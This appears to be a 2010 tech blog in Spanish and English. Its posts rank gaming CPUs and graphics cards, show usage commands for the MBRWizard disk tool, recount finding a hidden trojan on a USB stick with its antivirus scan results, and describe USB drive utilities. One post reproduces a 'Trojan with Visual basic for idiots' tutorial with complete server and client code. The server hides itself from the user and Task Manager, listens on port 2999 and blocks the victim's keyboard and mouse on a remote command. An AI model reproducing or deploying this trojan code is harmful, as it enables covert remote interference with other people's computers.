Bienvenido! - Willkommen! - Welcome!

Bitácora Técnica de Tux&Cía., Santa Cruz de la Sierra, BO
Bitácora Central: Tux&Cía.
Bitácora de Información Avanzada: Tux&Cía.-Información
May the source be with you!

Saturday, August 28, 2010

Procesadores ordenados por rendimiento (gaming)


Fuente Por Marcos669
Pues después de haber hecho el año pasado el post de "lista de gráficas ordenadas por rendimiento" ahora quería hacer uno de procesadores, ya que es algo más confuso que las gráficas y bastante interesante, para así tener una lista de ello,todo esto orientado puramente a juegos 
Igual que en el otro post os pido vuestra colaboración para poder llevarlo completarlo ya que faltan muchos procesadores y perfeccionarlo para que tengamos una lista real y fiable que podamos mirar cuando tengamos dudas.
También os pido perdon por los errores porque se que esto del principio va a estar un poco desastroso XD, por ahora me he basado en los escasos conocmientos que tengo y en benchmarks de Techpowerup
Como faltan un montón de procesadores para no organizar un caos de poner todos los que hay de golpe voy a ir añadiendo 10 o 15 por día, aunque si me decís alguno en concreto lo pondre inmediatamente.
Por cierto, todo esto a referido con los procesadores de serie

Intel_____________________AMD
D805
D820
D830
D920
D840
EE840
EE965
D930
D940
D950
D960
E2140.............................Athlon 3600 X2
E2160.............................Athlon 3800 X2
.....................................Athlon 4000 X2
E2180.............................Athlon 4200 X2
E2200.............................Athlon 4400 X2
E4300.............................Athlon 4600 X2
E4400.............................Athlon 4800 X2
E4500.............................Athlon 5000 X2
E5200.............................Athlon 5200 X2
.....................................Athlon 5600 X2
.....................................Athlon 6000 X2
.....................................Athlon 240
E7500
E7600
E8200
......................................Phenom 9550
......................................Phenom 9650
......................................Phenom 9750
......................................Phenom 9850
......................................Phenom 9950
E8300
.......................................Phenom 545
E8400
.......................................Phenom 550
.......................................Athlon 425
.......................................Phenom 555
.......................................Atlon 435
.......................................Athlon 440
i3 530
i3 540
......................................Phenom 710
E8500
Q8200..............................Athlon 620
Q8300..............................Athlon 630
Q9300
Q8400
e8600
q8400
......................................Phenom 805
......................................Phenom 720
Q6600
Q6700
......................................Phenom 810
......................................Phenom 910
......................................Phenom 920
..................................... Phenom 925
Q9400.............................Phenom 940
i5 650
i5 661
q9500
Q9450.............................Phenom 945
i5 660/661
i5 670
Q9550.............................Phenom 955
QX6800
QX6850
Q9650.............................Phenom 965
i5 750
i7 860
i7 920
i7 930
i7 940
i7 870
i7 950
i7 975
i7 980

Comparación de tarjetas gráficas

Fuente  Mejor gráfica por X dinero
Cuales gráficas son las mejores acorde a un cierto rango de precios
Idea tomada de los articulos de "Best Card for money" de la página "Tom´s Hardware"
40-70€
ATI 4650

70-90€
ATI 4670

90-110€
ATI 5670

110-140€
Nvidia 250gts o ATI 5750

140-200€
ATI 5770

200-250€
Nvidia 460GTX

250-300€
ATI 5850

350-400€
ATI 5870

400-500€
Nvidia 480 gtx

+500€
ATI 5970
Enlances de interés:
-Lista de grafícas ordenadas por rendimiento, con porcentaje de rendimiento relativo de techpowerup
Leer más en la fuente indicada al comienzo de la entrada
Nomenclatura:
SLI: Son 2 nvidia iguales puestas a la vez, aunque se supone que la potencia gráfica el rendimiento en juego no se duplica sino que es de un 80% más de media(depende de los juegos y configuraciones de los mismos)
CF: Significa "Crossfire" es lo mismo que el sli de nvidia, pero de ati la mejora de rendimiento es similar al SLI
Lista basada en los conocimientos del autor y sacando gran parte de la lista de modelos de "www.tomshardware.com", pero la colocacion de los mismos es del autor tomada de páginas como techpowerup,benchmarkreviews y pcgameshardware además de experiencias y comentarios de foreros
Nota:La siglas de ati "pro", "xt", "xtx" , etc.. se perdieron a partir de la llegada de la serie 3xxx, susituyondese por el pentultimo número, quedando de la siguiente forma:
3 equivale a "gto/xl"
5 equivale a "pro"
7 equivale a "xt"
9 equivale a "xtx"
Lista hecha teniendo en cuenta:
-Que la gama media de una generacion es por lo general ligeramnete inferior a la superior de la anterior generacion(a excepcion de la diferencia entre las nvidia 8600/ati 2600 y las nvidia 7900/7950/ati 1900/1950 en cuyo caso las primeras son de rendimiento entorno a 30/40% inferior de las segundas, cuando normalmente seria de un 10/20%)
-Que las tarjetas en crossfire o sli casi doblan el rendimiento de una solo, dependiendo de los juegos
-Que hay tarjetas que no tienen equivalente en la otra marca
-Que si he dicho que una gama media de una generacion es generalmente ligeramente inferior a superior de la anterior generacion esto se guarda tambien para los modos Sli y Crossfire de las mismas
-Que las versiones "gx2" de nvidia son equivalente a un sli de su version "gtx" aunque yo las haya puesto debajo
-Que los sli y crossfire de una gama media de una determinada generacion son ligeramente inferiores a la gama alta de su misma generacion y son aproximadamente equivalente a la gama media de la siguiente generaciòn
-Que las equivalencias de las denominaciones "pro","gt", "gts" etc.. de ati y nvidia son algo asi:
Nvidia Ati
Gs-------------gto
gt-------------pro
gts------------xt
gtx------------xtx 
Nota: Esto se cumple en todas las series a excepcion de la relaccion entre algunas graficas de la serie 7xxx de nvidia y la serie 1xxx de ati, tampoco se cumple entre las series 9xxx de nvidia y las 4xxx de ati
Generaciones, gamas,etc...
Explicacion de lo que significan los numeros de las tarjetas graficas
Se puede decir que hasta hace poco las nvidia y ati tenian una nomenclatura practicamente identica, que cambio con las series 3xxx de ati y que esta equivalencia numerica tan basica se esta perdiendo un poco.
-El primer numero en ambas significa la generacion, es decir si la tecnologia es mas o menos nuevas. Como podeis ver en la tabla la generacion 1xxx de ati equivale a la 7xxx de nvidia, la 2xxx de ati a la 8xxx de nvidia y asi con todas(a excepcion de la serie 3xxx de ati que no tiene una equivalencia exacta con una serie de nvidia, ya que esta a medio camino entre las series 8xxx y 9xxx de nvidia)
-El segundo número significa gama, asi cuanto mas alto sea el numero mas alta sera la gama, se supone que los numeros 3 y 4 son gama "baja", los numeros 5 y 6 son gama "media", aunque el 5 esta a medio camino entre la baja y la media, y el numero 8 y 9 significa gama "alta", aunque ha habido pocas generaciones que cuenten con el numero 9.
-El tercer numero solo tiene sentido en las tarjetas graficas ati a partir de las series 3xxx, por lo que ya he explicado antes.
-El cuarto número carece de importancia, es mas para rellenar que para otra cosa.

Aparte de número estan las denominaciones "gs","pro","gts" etc de ambas marcas(en ati a partir de las series 3xxx ya he explicado las equivalencias del tercer numero con estas denominaciones en una nota), estas denominaciones solo significan si es un modelo "capado","normal", o "trucado" por decirlo de alguna forma, pero basticamente son la misma grafica, solo que como ya he dicho, las "gs" esta algo asi como capada, la "gt" esta normal, y las "gts" y las "gtx" estan algo asi como trucadas(mas la gtx que la gts).
Graficas que faltan 
Posible rendimiento, discusion, por cierto, si digo por encima o por debajo ME REFIERO A LA POSICION EN LA LISTA no al rendimiento OJO
Nvidia6800 XT: similar a 6600 gt/6800 le x800 gt
8600 gt ddr2: 2600 pro/xt(encima de la 7900 gs)/3650 ddr2
9500 gt ddr2: 3650 ddr3
9500 gt ddr3: 1950 gt/1800 xt/8600 gts
Nota: La 9500 que esta puesta hay que decidir cual de las versiones es y poner la otra. La 8600 gt que esta puesta se supone que es la ddr3

ATIx800 gto 128 mb: 7600 gs por encima de la gt
x800 gto 256 mb: x800 pro
1650 gt: x800 gto 256mb
3650 ddr3: 1800 gto/850 xt
3670: justo por debajo de la 3650 ddr3
1900 gt:encima de la 1950 gt
3850 256 mb
3850 512 mb
Nota: La 3850 256 y 512 mb, deberian ir una debajo de la otra
__________________

Thursday, August 26, 2010

MBRWizard

For NT5.2 MS Operating Systems MBRWizard v.2 is a Free Portable command line (Master Boot Record) MBR Manager created by Roger Layton. It can be used to address all types of Master Boot Record (MBR) problems. MBRWizard functions include; list MBR entries, backup a MBR, restore MBR from backup, repair MBR, list partitions, delete partitions and can even be used to create a bootable USB flash drive in Windows 7 .

MBRWizard – Master Boot Record Manager
MBRWizard - MBR Options Screenshot
MBRWiz Usage examples:
Note: These are performed via a command prompt.
Display a list of options:
MBRWiz /List
Repair MBR:
MBRWiz /Repair=1 /Disk=0
Make Active "Bootable"  Partition:
MBRWiz /Active=Yes /Disk=0 /Part=0
Create a backup of C Drive MBR:
MBRWiz /save=C:\savedMBR
Restore the C Drive MBR backup:
MBRWiz /Restore=C:\savedMBR
Hide a Partition:
MBRWiz /Hide=Yes /Disk=0 /Part=2
Delete a Partition:
MBRWiz /Part=2 Del
Extracted Size: 144KB
Authors Website: mbrwizard.com/index.php
License: Freeware (for personal use)
Download: Get this MBR Tool HERE

==================================

For NT6.1 MS Operating Systems

MBRWizard v.3.x Command Line
General Enhancements to the new MBRWizard 3.0 engine

  • Initial support for GPT (GUID Partition Table)
  • Removable Media Support (USB Flash Disks)
  • VMWare Disk (.vmdk) Support
  • Both internal disk support and display details have been increased to the PetaByte range
  • Added support for Vista, Server 2008, and Windows 7
Specific improvements to version 3.0In order to provide better support for the new disk types, we have restructured the command line parameters to afford this capability, and feel it provides more flexibility as we continue to add functionality. The following are the major changes to the CLI version:
  • Support for creating partitions has been added, including options to set the starting sector, size, sector aligment, and partition type
  • Initial support for GPT includes basic backup/recovery, and partition deletion
  • Added support for the VMware virtual disk format (.vmdk), including most operations supported on physical disks
  • Support for repairing a Windows 7 or Server 2008 MBR has been added
  • Explicit support for Removable media (USB Flash Drives, etc) has been added
  • Both internal and display sizes have been increased to the Petabyte range
  • Enhanced disk information, with detailed information for each disk.
  • In addition to partition number, partitions can now be selected by volume label, drive letter, or by type (boot, system, utility, diag)

Extra long system hidden folder in USB device

Acording to my last post
I found the shit in my flash memory in a doble subdirectory with a extrem long name, system hidden and with special permissions
After use in a command line box of

dir -s -h ****************************----*** /s /d  (the other system hidden exe files are a vaccination method for standard shit code) i found a file EmrVQMar0BHh9hKKJ9vG6gt5zm2slhPo.exe (118.784 Bytes)
and then another directory (system hidden) with other copy of the same exe file

Yet unhidden and not system file the avira antivir guard recognize hostil code (TR/VB.OEC) in this directory and executable and does not allow me to handle it .
Disabling the antivir guard, i was able to send the executable to the online virusscan.
I sent it to http://virusscan.jotti.org and surprise:

2010-08-26 Found nothing
2010-08-26 Trojan.VB.OEC
2010-08-26 Win32:Rootkit-gen
2010-08-25 Trojan.Click
2010-08-26 Worm/VB.BCXM
2010-08-26 Found nothing
2010-08-26 TR/VB.OEC
2010-08-26 Win32/Injector.CPS
2010-08-26 Trojan.VB.OEC
2010-08-25 W32/Brontok.EA.worm
2010-08-26 Found nothing
2010-08-25 Trojan.DelfInjector.gen
2010-08-26 Found nothing
2010-08-26 Mal/SillyFDC-G
2010-08-26 Found nothing
2010-08-25 Trojan.VB.Schmidti
2010-08-26 Found nothing
2010-08-26 Trojan.Injector.SPO
2010-08-26 Trojan.VB.OEC
 

Trojan with Visual basic for idiots

I have found in my USB some kind of trojan: vb.oec
source: shitprogrammervb.wshit.shit
Private Sub Form_Load()
     Me.Visible = False
End Sub
This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.
Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
End Sub
So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.
Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2999
     win.RemotePort = 455
     win.Listen
End Sub
This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!
To do this little devious thing we need to add a module with the following code
Public Declare Function BlockInput Lib “user32″ (ByVal fBlock As Long) As Long
Then we add this code to our main form:
Code: VB
Private Sub win_ConnectionRequest(ByVal requestID As Long)
     win.Close
     win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub
The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.
For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!
Code: VB
Public Function DoActions(x As String)
     Dim Action
     Select Case x
             Case "block"
             Action = BlockInput(True)
     End Select
End Function
Ok now we have a program that when the data “block” is sent to it on port 2999 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.
Main Form
Code: VB
Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2999
     win.RemotePort = 455
     win.Listen
End Sub
Private Sub win_ConnectionRequest(ByVal requestID As Long) ' As corrected by Darkness1337
     win.Close
     win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
     win.GetData GotDat
     DoActions (GotDat)
End Sub
Remember to add your winsock control and name it to win if you use this code.
Code: VB
Module
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Function DoActions(x As String)
     Dim Action
     Select Case x
               Case "block"
               Action = BlockInput(True)
     End Select
End Function
That’s all there is to the server side or Trojan part of it. Now on to the Client.
Client
The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.
Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.
Code: VB
Private Sub cmdConnect_Click()
     IpAddy = txtIp.Text
     Win.Close
     Win.RemotePort = 2999
     Win.RemoteHost = IpAddy
     Win.LocalPort = 9999
     Win.Connect
     cmdConnect.Enabled = False
End Sub
Private Sub cmdDisconnect_Click()
     Win.Close
     cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
     Win.SendData "block"
End Sub
That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send the “block” data to block off their input.

Special pendrive apps

pendriveapps.com/

USB Drive Letter Manager

Source
USBDLM is a Windows service ( for Windows 2000, XP and Vista -7) that gives control over Window's drive letter assignment for USB drives. Running as service makes it independent of the logged on user's privileges, so there is no need to give the users the privilege to change drive letters.
It automatically solves conflicts between USB drives and network or subst drives of the currently logged on user.
Furthermore you can define new default letters for USB drives and much more.
When a removable drive (USB flash drive, flash card reader, portable hard drive) is attached for the first time, Windows mounts it to the first available 'local' drive letter. If there is a network share on this letter, Windows XP will use it anyway for the new USB drive because since XP network shares are specific to the current user and not visible in the context of the system where the letter is assigned. The USB drive then appears to be invisible. This is fixed by SP3 in most situations.
You can change the letter assignments in the Windows Disk Management Console with a lot of mouse clicks but you have to do it again for every new device.
And, for USB devices that have no serial number (in violation of the USB standards) you have to do it too when you attach it to a different USB port. 
  USBDLM isn't a wonder tool. If Windows has problems with USB drives then USBDLM cannot fix it. Here are some tips for solving problems with USB drives.